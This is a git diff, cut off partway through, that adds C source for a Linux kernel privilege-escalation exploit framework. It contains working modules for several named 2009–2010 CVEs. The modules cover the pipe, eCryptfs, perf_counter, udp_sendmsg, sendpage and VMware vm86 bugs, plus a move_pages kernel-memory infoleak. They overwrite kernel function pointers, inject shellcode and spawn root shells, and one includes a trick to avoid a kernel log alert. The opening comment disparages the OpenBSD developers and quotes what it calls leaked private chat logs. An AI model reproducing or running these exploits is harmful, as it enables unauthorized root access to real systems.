"Until now, the feature has been most + prominently used in the OpenBSD Unix variant and the PaX and Exec + Shield security patches for Linux"" + Borrowing one of your features? Where'd this ASLR acronym come from + anyway? Oh that's right, PaX again -- when they published the first + design and implementation of it, and coined the term, in July 2001. + It covered the heap, mmap, and stack areas. + OpenBSD implemented "stack-gap randomization" in 2003. Way to + innovate! + + W^X, which is a horrible name as OpenBSD doesn't even enforce it with + mprotect restrictions like PaX did from the beginning or even SELinux + is doing now (from a 3rd party contribution modeled after PaX): + PaX implemented true per-page non-executable page support, protecting + binary data, the heap, and the stack, back in 2000. + OpenBSD implemented it in 2003, requiring a full userland rebuild. + The innovation is overwhelming! + + They keep coming up with the same exact "innovations" others came up + with years before them. Their official explanation for where they + got the W^X/ASLR ideas was a drunk guy came into their tent at one of + their hack-a-thons and started talking about the idea. They had + never heard of PaX when we asked them in 2003. Which makes the + following involuntarily contributed private ICB logs from Phrack #66 + (Internet Citizen's Band -- OpenBSD internal chat network) so intriguing: + + On some sunny day in July 2002 (t: Theo de Raadt): + why can't you just randomize the base + that's what PaX does + You've not been paying attention to what art's saying, or you don't + understand yet, either case is one of think it through yourself. + whatever + + Only to see poetic justice in August 2003 (ttt: Theo again): + + more exactly, we heard of pax when they started bitching + miod, that was very well spoken. + + That wraps up our OpenBSD history lesson, in case anyone forgot it. + PS -- enjoy that null ptr deref exploit just released for OpenBSD. + + -------------------------------------------------------------------- + + Important final exploit notes: + + don't forget to inspect /boot/config* to see if PREEMPT, LOCKBREAK, + or DEBUG_SPINLOCK are enabled and modify the structures below + accordingly -- a fancier exploit would do this automatically + + I've broken the 2.4->2.6.10 version of the exploit and would like to see + someone fix it ;) See below for more comments on this. +*/ + +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "exp_framework.h" + +int pipefd[2]; +struct exploit_state *exp_state; +int is_old_kernel = 0; + +int go_go_speed_racer(void *unused) +{ + int ret; + + while(!exp_state->got_ring0) { + /* bust spinlock */ + *(unsigned int *)NULL = is_old_kernel ? 0 : 1; + ret = pipe(pipefd); + if (!ret) { + close(pipefd[0]); + close(pipefd[1]); + } + } + + return 0; +} + +/* <3 twiz/sgrakkyu */ +int start_thread(int (*f)(void *), void *arg) +{ + char *stack = malloc(0x4000); + int tid = clone(f, stack + 0x4000 - sizeof(unsigned long), CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_VM, arg); + if (tid < 0) { + printf("can't create thread\n"); + exit(1); + } + sleep(1); + return tid; +} + +char *desc = "MooseCox: Linux <= 2.6.31.5 pipe local root"; +char *cve = "CVE-2009-3547"; + +#define PIPE_BUFFERS 16 + +/* this changes on older kernels, but it doesn't matter to our method */ +struct pipe_buf_operations { + int can_merge; + void *map; + void *unmap; + void *confirm; + void *release; + void *steal; + void *get; +}; + +struct pipe_buffer2620ornewer { + void *page; + unsigned int offset, len; + void *ops; + unsigned int flags; + unsigned long private; +}; + +struct pipe_buffer2619orolder { + void *page; + unsigned int offset, len; + void *ops; + unsigned int flags; +}; + +struct pipe_buffer2616orolder { + void *page; + unsigned int offset, len; + void *ops; +}; + +struct pipe_inode_info2620ornewer { + unsigned int spinlock; + /* + // LOCKBREAK + unsigned int break_lock; + // DEBUG_SPINLOCK + unsigned int magic, owner_cpu; + void *owner; + */ + void *next, *prev; + unsigned int nrbufs, curbuf; + void *tmp_page; + unsigned int readers; + unsigned int writers; + unsigned int waiting_writers; + unsigned int r_counter; + unsigned int w_counter; + void *fasync_readers; + void *fasync_writers; + void *inode; + struct pipe_buffer2620ornewer bufs[PIPE_BUFFERS]; +}; + +struct pipe_inode_info2619orolder { + unsigned int spinlock; + /* + // if PREEMPT enabled + unsigned int break_lock; + // DEBUG_SPINLOCK + unsigned int magic, owner_cpu; + void *owner; + */ + void *next, *prev; + unsigned int nrbufs, curbuf; + struct pipe_buffer2619orolder bufs[PIPE_BUFFERS]; + void *tmp_page; + unsigned int start; + unsigned int readers; + unsigned int writers; + unsigned int waiting_writers; + unsigned int r_counter; + unsigned int w_counter; + void *fasync_readers; + void *fasync_writers; + void *inode; +}; + +struct pipe_inode_info2616orolder { + unsigned int spinlock; + /* + // if PREEMPT enabled + unsigned int break_lock; + // DEBUG_SPINLOCK + unsigned int magic, owner_cpu; + */ + void *owner; + void *next, *prev; + unsigned int nrbufs, curbuf; + struct pipe_buffer2616orolder bufs[PIPE_BUFFERS]; + void *tmp_page; + unsigned int start; + unsigned int readers; + unsigned int writers; + unsigned int waiting_writers; + unsigned int r_counter; + unsigned int w_counter; + void *fasync_readers; + void *fasync_writers; +}; + +struct fasync_struct { + int magic; + int fa_fd; + struct fasync_struct *fa_next; + void *file; +}; + +struct pipe_inode_info2610orolder { + /* this includes 2.4 kernels */ + unsigned long lock; // can be rw or spin + void *next, *prev; + char *base; + unsigned int len; + unsigned int start; + unsigned int readers; + unsigned int writers; + /* 2.4 only */ + unsigned int waiting_readers; + + unsigned int waiting_writers; + unsigned int r_counter; + unsigned int w_counter; + /* 2.6 only */ + struct fasync_struct *fasync_readers; + struct fasync_struct *fasync_writers; +}; + +int prepare(unsigned char *buf) +{ + struct pipe_inode_info2610orolder *info_oldest = (struct pipe_inode_info2610orolder *)buf; + struct pipe_inode_info2616orolder *info_older = (struct pipe_inode_info2616orolder *)buf; + struct pipe_inode_info2619orolder *info_old = (struct pipe_inode_info2619orolder *)buf; + struct pipe_inode_info2620ornewer *info_new = (struct pipe_inode_info2620ornewer *)buf; + struct pipe_buf_operations *ops = (struct pipe_buf_operations *)0x800; + int i; + int newver; + struct utsname unm; + + i = uname(&unm); + if (i != 0) { + printf("unable to get kernel version\n"); + exit(1); + } + + if (strlen(unm.release) >= 6 && unm.release[2] == '6' && unm.release[4] >= '2' && unm.release[5] >= '0' && unm.release[5] <= '9') { + fprintf(stdout, " [+] Using newer pipe_inode_info layout\n"); + newver = 3; + } else if (strlen(unm.release) >= 6 && unm.release[2] == '6' && unm.release[4] >= '1' && unm.release[5] >= '7' && unm.release[5] <= '9') { + fprintf(stdout, " [+] Using older pipe_inode_info layout\n"); + newver = 2; + } else if (strlen(unm.release) >= 5 && unm.release[2] == '6') { + fprintf(stdout, " [+] Using older-er pipe_inode_info layout\n"); + newver = 1; +// } else if (strlen(unm.release) >= 5 && unm.release[2] >= '4') { +// is_old_kernel = 1; +// newver = 0; + } else { + fprintf(stdout, " [+] This kernel is still vulnerable, but I can't be bothered to write the exploit. Write it yourself.\n"); + exit(1); + } + + /* for most of these what will happen is our write will + cause ops->confirm(/pin) to be called, which we've replaced + with own_the_kernel + for the 2.6.10->2.6.16 case it has no confirm/pin op, so what gets + called instead (repeatedly) is the release op + */ + if (newver == 3) { + /* uncomment for DEBUG_SPINLOCK */ + //info_new->magic = 0xdead4ead; + /* makes list_head empty for wake_up_common */ + info_new->next = &info_new->next; + info_new->readers = 1; + info_new->writers = 1; + info_new->nrbufs = 1; + info_new->curbuf = 1; + for (i = 0; i < PIPE_BUFFERS; i++) + info_new->bufs[i].ops = (void *)ops; + } else if (newver == 2) { + /* uncomment for DEBUG_SPINLOCK */ + //info_old->magic = 0xdead4ead; + /* makes list_head empty for wake_up_common */ + info_old->next = &info_old->next; + info_old->readers = 1; + info_old->writers = 1; + info_old->nrbufs = 1; + info_old->curbuf = 1; + for (i = 0; i < PIPE_BUFFERS; i++) + info_old->bufs[i].ops = (void *)ops; + } else if (newver == 1) { + /* uncomment for DEBUG_SPINLOCK */ + //info_older->magic = 0xdead4ead; + /* makes list_head empty for wake_up_common */ + info_older->next = &info_older->next; + info_older->readers = 1; + info_older->writers = 1; + info_older->nrbufs = 1; + info_older->curbuf = 1; + /* we'll get called multiple times from free_pipe_info + but it's ok because own_the_kernel handles this case + */ + for (i = 0; i < PIPE_BUFFERS; i++) + info_older->bufs[i].ops = (void *)ops; + } else { + /* + different ballgame here, instead of being able to + provide a function pointer in the ops table, you + control a base address used to compute the address for + a copy into the kernel via copy_from_user. The + following should get you started. + */ + /* lookup symbol for writable fptr then trigger it later + change the main write in the one thread to write out + pointers with the value of exp_state->exploit_kernel + */ + info_oldest->base = (char *)0xc8000000; + info_oldest->readers = 1; + info_oldest->writers = 1; + return 0; + } + + ops->can_merge = 1; + for (i = 0; i < 16; i++) + ((void **)&ops->map)[i] = exp_state->own_the_kernel; + + return 0; +} + +int requires_null_page = 1; + +int get_exploit_state_ptr(struct exploit_state *ptr) +{ + exp_state = ptr; + return 0; +} + +int trigger(void) +{ + char buf[128]; + int fd; + int i = 0; + + /* ignore sigpipe so we don't bail out early */ + signal(SIGPIPE, SIG_IGN); + + start_thread(go_go_speed_racer, NULL); + + fprintf(stdout, " [+] We'll let this go for a while if needed...\n"); + fflush(stdout); + + while (!exp_state->got_ring0 && i < 10000000) { + fd = pipefd[1]; + sprintf(buf, "/proc/self/fd/%d", fd); + fd = open(buf, O_WRONLY | O_NONBLOCK); + if (fd >= 0) { + /* bust spinlock */ + *(unsigned int *)NULL = is_old_kernel ? 0 : 1; + write(fd, ".", 1); + close(fd); + } + i++; + } + + if (!exp_state->got_ring0) { + fprintf(stdout, " [+] Failed to trigger the vulnerability. Is this a single processor machine with CONFIG_PREEMPT_NONE=y?\n"); + return 0; + } + + return 1; +} + +int post(void) +{ +// return RUN_ROOTSHELL; + return FUNNY_PIC_AND_ROOTSHELL; +} diff --git a/exp_paokara.c b/exp_paokara.c new file mode 100644 index 0000000..5bcfd81 --- /dev/null +++ b/exp_paokara.c @@ -0,0 +1,85 @@ +/* CVE-2009-2908 + Integrated into enlightenment upon Fotis Loukos' request + Also ported to x64 + Original x86 exploit was written by Fotis Loukos: + http://fotis.loukos.me/security/exploits/paokara.c + */ + +#include +#include +#include +#define __USE_GNU +#include +#include +#include "exp_framework.h" + +struct exploit_state *exp_state; + +struct myinodeops { + void *dontcare[17]; + void *getxattr; +}; + +char *desc = "Paokara: Linux 2.6.19->2.6.31.1 eCryptfs local root"; +char *cve = "CVE-2009-2908"; + +int prepare(unsigned char *buf) +{ + /* this gets placed at 0x1 because we overwrite the i_op with 0x1 + in our loop that sets the mutex count properly + */ + struct myinodeops *ops = (struct myinodeops *)(buf + 1); + unsigned long *lbuf = (unsigned long *)buf; + int i; + + /* make sure mutex count is 1, handle any configuration + */ + for (i = 0; i < 200; i++) + lbuf[i] = 1; + + ops->getxattr = exp_state->own_the_kernel; + + return 0; +} + +int requires_null_page = 1; + +int get_exploit_state_ptr(struct exploit_state *ptr) +{ + exp_state = ptr; + return 0; +} + +int trigger(void) +{ + char buf1[4096]; + char buf2[4096]; + int fd; + char *path = getenv("XPL_PATH"); + if (path == NULL) { + fprintf(stdout, " [+] XPL_PATH environment variable not set. Defaulting to current directory.\n"); + path = "."; + } + snprintf(buf1, sizeof(buf1), "%s/lala", path); + snprintf(buf2, sizeof(buf2), "%s/koko", path); + + if (open(buf1, O_RDWR | O_CREAT | O_EXCL | O_NOFOLLOW, 0600) < 0) { + fprintf(stdout, "Failed to create %s\n", buf1); + return 0; + } + link(buf1, buf2); + unlink(buf1); + if ((fd = open(buf2, O_RDWR | O_CREAT | O_NOFOLLOW, 0600)) < 0) { + fprintf(stdout, "Failed to create %s\n", buf2); + return 0; + } + unlink(buf2); + write(fd, "kot!", 4); + + return 1; +} + +int post(void) +{ + return RUN_ROOTSHELL; +} diff --git a/exp_powerglove.c b/exp_powerglove.c new file mode 100644 index 0000000..8d52138 --- /dev/null +++ b/exp_powerglove.c @@ -0,0 +1,63 @@ +/* powerglove */ +#include +#include +#include +#include +#include +#include "exp_framework.h" + +#undef __NR_perf_counter_open +#ifdef __x86_64__ +#define __NR_perf_counter_open 298 +#else +#define __NR_perf_counter_open 336 +#endif + +struct perf_counter_attr { + unsigned int type; + unsigned int size; +}; + +struct exploit_state *exp_state; + +char *desc = "Powerglove: Linux 2.6.31 perf_counter local root"; +char *cve = "CVE-2009-3234"; + +int get_exploit_state_ptr(struct exploit_state *ptr) +{ + exp_state = ptr; + return 0; +} + +int requires_null_page = 1; + +int prepare(unsigned char *ptr) +{ + return EXIT_KERNEL_TO_NULL; +} + +int trigger(void) +{ + struct perf_counter_attr *ctr; + + ctr = (struct perf_counter_attr *)calloc(1, 0x1000); + if (ctr == NULL) { + fprintf(stdout, "bleh\n"); + exit(1); + } + +#ifdef __x86_64__ + ctr->size = 0xd0; +#else + ctr->size = 0x60; +#endif + + syscall(__NR_perf_counter_open, ctr, getpid(), 0, 0, 0UL); + + return 0; +} + +int post(void) +{ + return RUN_ROOTSHELL; +} diff --git a/exp_sieve.c b/exp_sieve.c new file mode 100644 index 0000000..d80b41c --- /dev/null +++ b/exp_sieve.c @@ -0,0 +1,326 @@ +/* sieve (because the Linux kernel leaks like one, get it?) + Bug NOT discovered by Marcus Meissner of SuSE security + This bug was discovered by Ramon de Carvalho Valle in September of 2009 + The bug was found via fuzzing, and on Sept 24th I was sent a POC DoS + for the bug (but had forgotten about it until now) + Ramon's report was sent to Novell's internal bugzilla, upon which + some months later Marcus took credit for discovering someone else's bug + Maybe he thought he could get away with it ;) Almost ;) + + greets to pipacs, tavis (reciprocal greets!), cloudburst, and rcvalle! + + first exploit of 2010, next one will be for a bugclass that has + afaik never been exploited on Linux before + + note that this bug can also cause a DoS like so: + +Unable to handle kernel paging request at ffffffff833c3be8 RIP: + [] new_page_node+0x31/0x48 +PGD 203067 PUD 205063 PMD 0 +Oops: 0000 [1] SMP +Pid: 19994, comm: exploit Not tainted 2.6.18-164.el5 #1 +RIP: 0010:[] [] +new_page_node+0x31/0x48 +RSP: 0018:ffff8100a3c6de50 EFLAGS: 00010246 +RAX: 00000000005fae0d RBX: ffff8100028977a0 RCX: 0000000000000013 +RDX: ffff8100a3c6dec0 RSI: 0000000000000000 RDI: 00000000000200d2 +RBP: 0000000000000000 R08: 0000000000000004 R09: 000000000000003c +R10: 0000000000000000 R11: 0000000000000092 R12: ffffc20000077018 +R13: ffffc20000077000 R14: ffff8100a3c6df00 R15: ffff8100a3c6df28 +FS: 00002b8481125810(0000) GS:ffffffff803c0000(0000) +knlGS:0000000000000000 +CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b +CR2: ffffffff833c3be8 CR3: 000000009562d000 CR4: 00000000000006e0 +Process exploit (pid: 19994, threadinfo ffff8100a3c6c000, task +ffff81009d8c4080) +Stack: ffffffff800dd008 ffffc20000077000 ffffffff800dc87b +0000000000000000 + 0000000000000000 0000000000000003 ffff810092c23800 0000000000000003 + 00000000000000ff ffff810092c23800 00007eff6d3dc7ff 0000000000000000 +Call Trace: + [] migrate_pages+0x8d/0x42b + [] new_page_node+0x0/0x48 + [] schedule_on_each_cpu+0xda/0xe8 + [] sys_move_pages+0x339/0x43d + [] tracesys+0xd5/0xe0 + + +Code: 48 8b 14 c5 80 cb 3e 80 48 81 c2 10 3c 00 00 e9 82 29 f3 ff +RIP [] new_page_node+0x31/0x48 + RSP +CR2: ffffffff833c3be8 +*/ + +#include +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include "exp_framework.h" + +#undef MPOL_MF_MOVE +#define MPOL_MF_MOVE (1 << 1) + +int max_numnodes; + +unsigned long node_online_map; + +unsigned long node_states; + +unsigned long our_base; +unsigned long totalhigh_pages; + +#undef __NR_move_pages +#ifdef __x86_64__ +#define __NR_move_pages 279 +#else +#define __NR_move_pages 317 +#endif + +/* random notes I took when writing this (all applying to the 64bit case): + +checking in a bitmap based on node_states[2] or node_states[3] +(former if HIGHMEM is not present, latter if it is) + +each node_state is of type nodemask_t, which is is a bitmap of size +MAX_NUMNODES/8 + +RHEL 5.4 has MAX_NUMNODES set to 64, which makes this 8 bytes in size + +so the effective base we're working with is either node_states + 16 or +node_states + 24 + +on 2.6.18 it's based off node_online_map + +node_isset does a test_bit based on this base + +so our specfic case does: base[ourval / 8] & (1 << (ourval & 7)) + +all the calculations appear to be signed, so we can both index in the +negative and positive direction, based on ourval + +on 64bit, this gives us a 256MB range above and below our base to grab +memory of +(by passing in a single page and a single node for each bit we want to +leak the value of, we can reconstruct entire bytes) + +we can determine MAX_NUMNODES by looking up two adjacent numa bitmaps, +subtracting their difference, and multiplying by 8 +but we don't need to do this +*/ + +struct exploit_state *exp_state; + +char *desc = "Sieve: Linux 2.6.18+ move_pages() infoleak"; +char *cve = "CVE-2010-0415"; + +int get_exploit_state_ptr(struct exploit_state *ptr) +{ + exp_state = ptr; + return 0; +} + +int requires_null_page = 0; + +int requires_symbols_to_trigger = 1; + +void addr_to_nodes(unsigned long addr, int *nodes) +{ + int i; + int min = 0x80000000 / 8; + int max = 0x7fffffff / 8; + + if ((addr < (our_base - min)) || + (addr > (our_base + max))) { + fprintf(stdout, "Error: Unable to dump address %p\n", addr); + exit(1); + } + + for (i = 0; i < 8; i++) { + nodes[i] = ((int)(addr - our_base) << 3) | i; + } + + return; +} + +char *buf; +unsigned char get_byte_at_addr(unsigned long addr) +{ + int nodes[8]; + int node; + int status; + int i; + int ret; + unsigned char tmp = 0; + + addr_to_nodes(addr, (int *)&nodes); + for (i = 0; i < 8; i++) { + node = nodes[i]; + ret = syscall(__NR_move_pages, 0, 1, &buf, &node, &status, MPOL_MF_MOVE); + if (errno == ENOSYS) { + fprintf(stdout, "Error: move_pages is not supported on this kernel.\n"); + exit(1); + } else if (errno != ENODEV) + tmp |= (1 << i); + } + + return tmp; +} + +void menu(void) +{ + fprintf(stdout, "Enter your choice:\n" + " [0] Dump via symbol/address with length\n" + " [1] Dump entire range to file\n" + " [2] Quit\n"); +} + +int trigger(void) +{ + unsigned long addr; + unsigned long addr2; + unsigned char thebyte; + unsigned char choice = 0; + char ibuf[1024]; + char *p; + FILE *f; + + // get lingering \n + getchar(); + while (choice != '2') { + menu(); + fgets((char *)&ibuf, sizeof(ibuf)-1, stdin); + choice = ibuf[0]; + + switch (choice) { + case '0': + fprintf(stdout, "Enter the symbol or address for the base:\n"); + fgets((char *)&ibuf, sizeof(ibuf)-1, stdin); + p = strrchr((char *)&ibuf, '\n'); + if (p) + *p = '\0'; + addr = exp_state->get_kernel_sym(ibuf); + if (addr == 0) { + addr = strtoul(ibuf, NULL, 16); + } + if (addr == 0) { + fprintf(stdout, "Invalid symbol or address.\n"); + break; + } + addr2 = 0; + while (addr2 == 0) { + fprintf(stdout, "Enter the length of bytes to read in hex:\n"); + fscanf(stdin, "%x", &addr2); + // get lingering \n + getchar(); + } + addr2 += addr; + + fprintf(stdout, "Leaked bytes:\n"); + while (addr < addr2) { + thebyte = get_byte_at_addr(addr); + printf("%02x ", thebyte); + addr++; + } + printf("\n"); + break; + case '1': + addr = our_base - 0x10000000; +#ifdef __x86_64__ + /* + our lower bound will cause us to access + bad addresses and cause an oops + */ + if (addr < 0xffffffff80000000) + addr = 0xffffffff80000000; +#else + if (addr < 0x80000000) + addr = 0x80000000; + else if (addr < 0xc0000000) + addr = 0xc0000000; +#endif + addr2 = our_base + 0x10000000; + f = fopen("./kernel.bin", "w"); + if (f == NULL) { + fprintf(stdout, "Error: unable to open ./kernel.bin for writing\n"); + exit(1); + } + + fprintf(stdout, "Dumping to kernel.bin (this will take a while): "); + fflush(stdout); + while (addr < addr2) { + thebyte = get_byte_at_addr(addr); + fputc(thebyte, f); + if (!(addr % (128 * 1024))) { + fprintf(stdout, "."); + fflush(stdout); + } + addr++; + } + fprintf(stdout, "done.\n"); + fclose(f); + break; + case '2': + break; + } + } + + return 0; +} + + +int prepare(unsigned char *ptr) +{ + int node; + int found_gap = 0; + int i; + int ret; + int status; + + totalhigh_pages = exp_state->get_kernel_sym("totalhigh_pages"); + node_states = exp_state->get_kernel_sym("node_states"); + node_online_map = exp_state->get_kernel_sym("node_online_map"); + + buf = malloc(4096); + + /* cheap hack, won't work on actual NUMA systems -- for those we could use the alternative noted + towards the beginning of the file, here we're just working until we leak the first bit of the adjacent table, + which will be set for our single node -- this gives us the size of the bitmap + */ + for (i = 0; i < 512; i++) { + node = i; + ret = syscall(__NR_move_pages, 0, 1, &buf, &node, &status, MPOL_MF_MOVE); + if (errno == ENOSYS) { + fprintf(stdout, "Error: move_pages is not supported on this kernel.\n"); + exit(1); + } else if (errno == ENODEV) { + found_gap = 1; + } else if (found_gap == 1) { + max_numnodes = i; + fprintf(stdout, " [+] Detected MAX_NUMNODES as %d\n", max_numnodes); + break; + } + } + + if (node_online_map != 0) + our_base = node_online_map; + /* our base for this depends on the existence of HIGHMEM and the value of MAX_NUMNODES, since it determines the size + of each bitmap in the array our base is in the middle of + we've taken account for all this + */ + else if (node_states != 0) + our_base = node_states + (totalhigh_pages ? (3 * (max_numnodes / 8)) : (2 * (max_numnodes / 8))); + else { + fprintf(stdout, "Error: kernel doesn't appear vulnerable.\n"); + exit(1); + } + + return 0; +} + +int post(void) +{ + return 0; +} diff --git a/exp_therebel.c b/exp_therebel.c new file mode 100644 index 0000000..c19201a --- /dev/null +++ b/exp_therebel.c @@ -0,0 +1,84 @@ +/* the rebel */ +#include +#include +#include +#include "exp_framework.h" + +struct dst_entry { + void *next; + int refcnt; + int use; + void *child; + void *dev; + short error; + short obsolete; + int flags; + unsigned long lastuse; + unsigned long expires; + unsigned short header_len; + unsigned short trailer_len; + unsigned int metrics[13]; + /* need to have this here and empty to avoid problems with + dst.path being used by dst_mtu */ + void *path; + unsigned long rate_last; + unsigned long rate_tokens; + /* things change from version to version past here, so let's do this: */ + void *own_the_kernel[8]; +}; + +struct exploit_state *exp_state; + +char *desc = "The Rebel: Linux < 2.6.19 udp_sendmsg() local root"; +char *cve = "CVE-2009-2698"; + +int get_exploit_state_ptr(struct exploit_state *ptr) +{ + exp_state = ptr; + return 0; +} + +int requires_null_page = 1; + +int prepare(unsigned char *ptr) +{ + struct dst_entry *mem = (struct dst_entry *)ptr; + int i; + + /* for stealthiness based on reversing, makes sure that frag_off + is set in skb so that a printk isn't issued alerting to the + exploit in the ip_select_ident path + */ + mem->metrics[1] = 0xfff0; + /* the actual "output" function pointer called by dst_output */ + for (i = 0; i < 10; i++) + mem->own_the_kernel[i] = exp_state->own_the_kernel; + + return 0; +} + +int trigger(void) +{ + struct sockaddr sock = { + .sa_family = AF_UNSPEC, + .sa_data = "CamusIsAwesome", + }; + char buf[1024] = {0}; + int fd; + + fd = socket(PF_INET, SOCK_DGRAM, 0); + if (fd < 0) { + fprintf(stdout, "failed to create socket\n"); + return 0; + } + + sendto(fd, buf, 1024, MSG_PROXY | MSG_MORE, &sock, sizeof(sock)); + sendto(fd, buf, 1024, 0, &sock, sizeof(sock)); + + return 1; +} + +int post(void) +{ + return RUN_ROOTSHELL; +} diff --git a/exp_vmware.c b/exp_vmware.c new file mode 100644 index 0000000..158313d --- /dev/null +++ b/exp_vmware.c @@ -0,0 +1,94 @@ +/* all credits to Tavis Ormandy/Julien Tinnes + + I (being Ingo Molnar, of course) simply replaced the ring0 XSS + with more suitable shellcode + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include "exp_framework.h" + +struct exploit_state *exp_state; + +char *desc = "CVE-2009-2267: VMWare vm86 guest local root"; +char *cve = "CVE-2009-2267"; + +#define REAL_TO_VIRT(cs, ip) ((void *)(((cs) << 4) + ((ip) & 0xffff))) +#define EFLAGS_TF_MASK 0x100 + +void enter_vm86(void) +{ + struct vm86plus_struct vm = {0}; + + vm.cpu_type = CPU_586; + + vm.regs.eflags = EFLAGS_TF_MASK; + vm.regs.esp = 0xdeadc01d; + vm.regs.eip = 0x00000000; + vm.regs.cs = 0x0090; + vm.regs.ss = 0xffff; + + memcpy(REAL_TO_VIRT(vm.regs.cs, vm.regs.eip), + "\x9a\xdd\xcc\x00\x00\xbb\xaa", 7); + + vm86(VM86_ENTER, &vm); + + return; +} + +int prepare(unsigned char *buf) +{ + char *newbuf; + + newbuf = (char *)mremap(buf, PAGE_SIZE, 1024 * 1024, 0); + if (newbuf == MAP_FAILED) { + printf("failed to remap NULL page\n"); + exit(1); + } + + // mov esp, edi + buf[0] = '\x89'; + buf[1] = '\xfc'; + // sub esp, 0x50 + buf[2] = '\x83'; + buf[3] = '\xec'; + buf[4] = '\x50'; + // call own_the_kernel + buf[5] = '\xff'; + buf[6] = '\x15'; + *(unsigned int *)&buf[7] = (unsigned int)buf + 17; + // jmp exit_kernel + buf[11] = '\xff'; + buf[12] = '\x25'; + *(unsigned int *)&buf[13] = (unsigned int)buf + 21; + *(unsigned long *)&buf[17] = (unsigned long)exp_state->own_the_kernel; + *(unsigned long *)&buf[21] = (unsigned long)exp_state->exit_kernel; + + return 0; +} + +int requires_null_page = 1; + +int get_exploit_state_ptr(struct exploit_state *ptr) +{ + exp_state = ptr; + return 0; +} + +int trigger(void) +{ + enter_vm86(); + + return 1; +} + +int post(void) +{ + return RUN_ROOTSHELL; +} diff --git a/exp_wunderbar.c b/exp_wunderbar.c new file mode 100644 index 0000000..101e47d --- /dev/null +++ b/exp_wunderbar.c @@ -0,0 +1,89 @@ +/* wunderbar */ +#include +#include +#include +#include +#include +#include +#include "exp_framework.h" + +struct exploit_state *exp_state; + +#define DOMAINS_STOP -1 +#define VIDEO_SIZE 4171600 +#ifndef IPPROTO_SCTP +#define IPPROTO_SCTP 132 +#endif +#ifndef PX_PROTO_OL2TP +#define PX_PROTO_OL2TP 1 +#endif +#ifndef PF_IUCV +#define PF_IUCV 32 +#endif + +const int domains[][3] = { { PF_APPLETALK, SOCK_DGRAM, 0 }, + {PF_IPX, SOCK_DGRAM, 0 }, { PF_IRDA, SOCK_DGRAM, 0 }, + {PF_X25, SOCK_DGRAM, 0 }, { PF_AX25, SOCK_DGRAM, 0 }, + {PF_BLUETOOTH, SOCK_DGRAM, 0 }, { PF_IUCV, SOCK_STREAM, 0 }, + {PF_INET6, SOCK_SEQPACKET, IPPROTO_SCTP }, + {PF_PPPOX, SOCK_DGRAM, 0 }, + {PF_PPPOX, SOCK_DGRAM, PX_PROTO_OL2TP }, + {DOMAINS_STOP, 0, 0 } + }; + +char *desc = "Wunderbar Emporium: Linux 2.X sendpage() local root"; +char *cve = "CVE-2009-2692"; + +int prepare(unsigned char *buf) +{ + return STRAIGHT_UP_EXECUTION_AT_NULL; +} + +int requires_null_page = 1; + +int get_exploit_state_ptr(struct exploit_state *ptr) +{ + exp_state = ptr; + return 0; +} + +int trigger(void) +{ + while (exp_state->got_ring0 == 0) { + char template[] = "/tmp/sendfile.XXXXXX"; + int d; + int in, out; + + // Setup source descriptor + if ((in = mkstemp(template)) < 0) { + fprintf(stdout, "failed to open input descriptor, %m\n"); + return 0; + } + + unlink(template); + + // Find a vulnerable domain + for (d = 0; domains[d][0] != DOMAINS_STOP; d++) { + if ((out = socket(domains[d][0], domains[d][1], domains[d][2])) >= 0) + break; + } + + if (out < 0) { + fprintf(stdout, "unable to find a vulnerable domain, sorry\n"); + return 0; + } + + // Truncate input file to some large value + ftruncate(in, getpagesize()); + + // sendfile() to trigger the bug. + sendfile(out, in, NULL, getpagesize()); + } + + return 1; +} + +int post(void) +{ + return RUN_ROOTSHELL; +} diff --git a/exploit.c b/exploit.c new file mode 100644 index 0000000..b9d358b --- /dev/null +++ b/exploit.c @@ -0,0 +1,2143 @@ +/* exploit lib */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "exp_framework.h" +#ifdef HAVE_SELINUX +#include +#include +#endif + +#ifndef PATH_MAX +#define PATH_MAX 4095 +#endif + +typedef int (*_prepare_for_exploit)(unsigned char *buf); +typedef int (*_trigger_the_bug)(void); +typedef int (*_post_exploit)(void); +typedef int (*_ring0_cleanup)(void); +typedef int (*_get_exploit_state_ptr)(struct exploit_state *exp_state); + +#define MAX_EXPLOITS 32 + +struct exploit_module { + char desc[512]; + char cve[64]; + _get_exploit_state_ptr get_exploit_state_ptr; + _prepare_for_exploit prep; + _trigger_the_bug trigger; + _post_exploit post; + _ring0_cleanup ring0_cleanup; + int requires_null_page; + int requires_symbols_to_trigger; +} modules[MAX_EXPLOITS]; +int num_exploits = 0; + +char *thoughts[] = { + "The limits of my language are the limits of my mind. All I know is what I have words for. --Wittgenstein", + "A clock struck noon; Lucien rose. The metamorphosis was complete: " \ + "a graceful, uncertain adolescent had entered this cafe one hour " \ + "earlier; now a man left, a leader among Frenchmen. Lucien took a few " \ + "steps in the glorious light of a French morning. At the corner of " \ + "Rue des Ecoles and the Boulevard Saint-Michel he went towards a "\ + "stationery shop and looked at himself in the mirror: he would have " \ + "liked to find on his own face the impenetrable look he admired on " \ + "Lemordant's. But the mirror only reflected a pretty, headstrong " \ + "little face that was not yet terrible. \"I'll grow a moustache,\" " \ + "he decided. --Sartre", + "The whole problem with the world is that fools and fanatics are always " \ + "so full of themselves, but wiser people so full of doubts. --Russell", + "Mathematics, rightly viewed, posses not only truth, but supreme " \ + "beauty cold and austere, like that of sculpture. --Russell", + "The person who writes for fools is always sure of a large audience. --Schopenhauer", + "With people of limited ability modesty is merely honesty. But " \ + "with those who possess real talent it is hypocrisy. --Schopenhauer", + "Seek not the favor of the multitude; it is seldom got by honest and lawful means. " \ + "But seek the testimony of few; and number not voices, but weigh them. --Kant", + "At this moment, when each of us must fit an arrow to his bow and " \ + "enter the lists anew, to reconquer, within history and in spite of it, " \ + "that which he owns already, the thin yield of his fields, the brief " \ + "love of the earth, at this moment when at last a man is born, it is " \ + "time to forsake our age and its adolescent furies. The bow bends; " \ + "the wood complains. At the moment of supreme tension, there will " \ + "leap into flight an unswerving arrow, a shaft that is inflexible and " \ + "free. --Camus", + "We forfeit three-quarters of ourselves in order to be like other people. --Schopenhauer", + "Style is what gives value and currency to thoughts. --Schopenhauer", + "Every truth passes through three stages before it is recognized. In " \ + "the first it is ridiculed, in the second it is opposed, in the third " \ + "it is regarded as self evident. --Schopenhauer", + "Before the Law 